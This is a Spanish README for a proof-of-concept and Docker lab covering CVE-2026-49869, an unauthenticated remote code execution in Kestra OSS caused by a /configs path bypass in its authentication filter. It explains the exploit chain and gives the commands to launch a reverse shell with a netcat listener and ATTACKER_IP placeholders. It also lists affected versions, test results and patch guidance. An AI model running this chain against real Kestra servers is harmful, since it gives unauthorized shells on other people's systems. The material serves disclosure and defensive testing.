
PoC y laboratorio Docker para CVE-2026-49869, un RCE no autenticado en Kestra OSS mediante un bypass de ruta en AuthenticationFilter que permite la creación de flujos y la ejecución de comandos.
★PoC y laboratorio Docker para el bypass de autenticación en AuthenticationFilter de Kestra OSS★
Ejecuta este laboratorio únicamente en sistemas que controles. El ejemplo
-p 8080:8080puede publicar la API vulnerable en todas las interfaces del host; bloquea el acceso desde otras redes.
https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865
Kestra utiliza Basic Auth para proteger su API. En las versiones OSS afectadas, AuthenticationFilter trata cualquier ruta de solicitud que termine en /configs como un endpoint de configuración público. Por lo tanto, un cliente no autenticado puede crear un flujo llamado configs y luego ejecutarlo a través de rutas de API que terminen en /configs. Una tarea de shell en ese flujo puede ejecutar comandos en el contenedor worker de Kestra. El defecto y la cadena de RCE se describen en el aviso de seguridad de Kestra.
| Rama de Kestra OSS | Versiones vulnerables | Primera versión parcheada |
|---|---|---|
| 1.0.x y anteriores | Anteriores a 1.0.45 | 1.0.45 |
| 1.1.x–1.3.x | 1.1.0 hasta 1.3.20 | 1.3.21 |
El laboratorio utiliza v1.3.20 con Basic Auth de OSS habilitado. El problema afecta esta ruta de autenticación cuando la API de Kestra es accesible; la imagen local está basada en kestra/kestra:v1.3.20.
/configs; el aviso también describe SSRF a través de una plantilla de workflow.Los privilegios del contenedor no implican privilegios en el host.
El repositorio debe contener Dockerfile, entrypoint.sh y poc.py junto a este README. Se requiere Docker para ejecutar el objetivo; se requiere Python 3 para el PoC. No es necesario instalar paquetes de Python.
docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab
entrypoint.sh habilita Basic Auth con una cuenta exclusiva del laboratorio:
| Usuario | Contraseña |
|---|---|
[email protected] | Eqst123! |
Kestra requiere un nombre de usuario con formato de correo electrónico y una contraseña de al menos ocho caracteres, con letras mayúsculas, minúsculas y un dígito. Estas credenciales se publican únicamente para pruebas locales.
Espera hasta que la primera solicitud devuelva 200. La segunda solicitud debería devolver 401, lo que demuestra que Basic Auth protege una ruta de API ordinaria:
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs
Si un contenedor detenido ya tiene el mismo nombre, usa docker start cve-2026-49869-lab para reutilizarlo, o elimina ese contenedor antes de crear uno nuevo con docker run.
El script envía dos solicitudes sin credenciales: una crea o actualiza configs/configs con una tarea de shell, y la siguiente inicia su ejecución. No se necesita ningún flujo creado previamente por el usuario. Ejecutar el script de nuevo reemplaza el flujo del laboratorio con el mismo nombre.
Primero, inicia un listener en la máquina que recibirá la conexión de shell:
nc -lvnp LISTENER_PORT
Luego ejecuta el PoC desde el directorio que contiene poc.py:
python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT
Para un laboratorio Docker en la misma máquina, reemplaza TARGET con 127.0.0.1. Establece ATTACKER_IP con una dirección IPv4 que el contenedor pueda alcanzar; el script no inicia el listener. El script imprime la respuesta de ejecución, incluido un ID de ejecución. Se necesita una conexión en el listener para confirmar que la reverse shell funcionó.
La prueba local registrada utilizó una tarea Log inofensiva para verificar el bypass de autenticación y la ejecución del workflow. No ejecutó el payload de reverse shell.
| Comprobación | v1.3.20 | v1.3.21 |
|---|---|---|
| API protegida ordinaria, sin credenciales | 401 | 401 |
Crear flujo configs, sin credenciales | 200 | 401 |
Iniciar ejecución de configs, sin credenciales | 200 | 401 |
| Tarea inofensiva en versión vulnerable | SUCCESS, marcador en los logs | — |
El callback de la reverse shell no forma parte de estos resultados registrados.
Actualiza al menos a 1.0.45 en la rama 1.0.x o a 1.3.21 en las ramas 1.1.x–1.3.x. La corrección upstream normaliza la ruta y comprueba la ruta de configuración pública exacta en lugar de aceptar cualquier sufijo /configs. Hasta que la actualización esté completa, restringe el acceso a la API de Kestra y permite el acceso no autenticado únicamente a la ruta pública prevista en un proxy.
docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab